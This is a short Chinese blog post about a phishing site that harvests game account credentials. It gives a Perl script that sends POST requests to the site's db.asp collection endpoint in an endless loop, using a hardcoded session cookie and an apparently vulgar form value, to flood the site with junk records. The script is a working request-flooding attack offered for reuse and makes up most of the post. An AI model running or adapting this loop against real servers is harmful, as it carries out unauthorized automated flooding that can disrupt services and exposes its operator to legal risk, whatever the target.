首页 > 代码库 > 用perl发送数据到钓鱼站

用perl发送数据到钓鱼站

一个皮皮果的游戏很火

估计很多人想黑

偶然发现一个钓鱼站:

http://ppgpergame.com/

钓用户名与密码

抓包后发现数据会发送到: http://ppgpergame.com/db.asp保存

所以就有了下面的脚本:

 

 1 my $count = 1;
 2 while(1){
 3     use LWP::UserAgent;
 4     my $ua = LWP::UserAgent->new();
 5 
 6     my $req = HTTP::Request->new(POST => http://ppgpergame.com/db.asp);
 7     $req->content_type(application/x-www-form-urlencoded);
 8     $req->header(Cookie => "ASPSESSIONIDQSRSQRQT=JGGPHMLCGNGPMCMHJFEADDIH");
 9     $req->content(__VIEWSTATE=xh%2F2rhoU7BXJQVkhLqWlQFoDwiHE5G84c7bOCZBTKr4WqaFqAdRzvf9329qzGj8Gqd2NnXt2xItQJ1zkQ%2BEvzygE96CkbDtlgeRteOtQbfmi6AB8%2FiXJ4jyauiEvN%2BnA&__EVENTVALIDATION=dPbSacZAFdINOCpzCAR9Ie6LceBqX7SSEHcanKlD%2BkxCDfr2M5ZdgZumSxhVCnr92fi6rndo39J5Mb1jGgEoOFsx062FWDQiqGPuEk%2FpK2MqXohxmh38zNOfz%2F60jfP4nDpHTUCP536fgCr%2BOIFVZg%3D%3D&i=%B2%D9%C4%E3%C2%EAB&BtnSave=%C8%B7%C8%CF);
10 
11     my $res = $ua->request($req);
12     print "发送代码为:",$res->status_line,"\n";
13     print "第 $count 条数据发送完毕!\n";
14     $count ++;
15 }

 

post数据大概是 XXXOOOO ni M类型, 不多说

 

技术分享

 

用perl发送数据到钓鱼站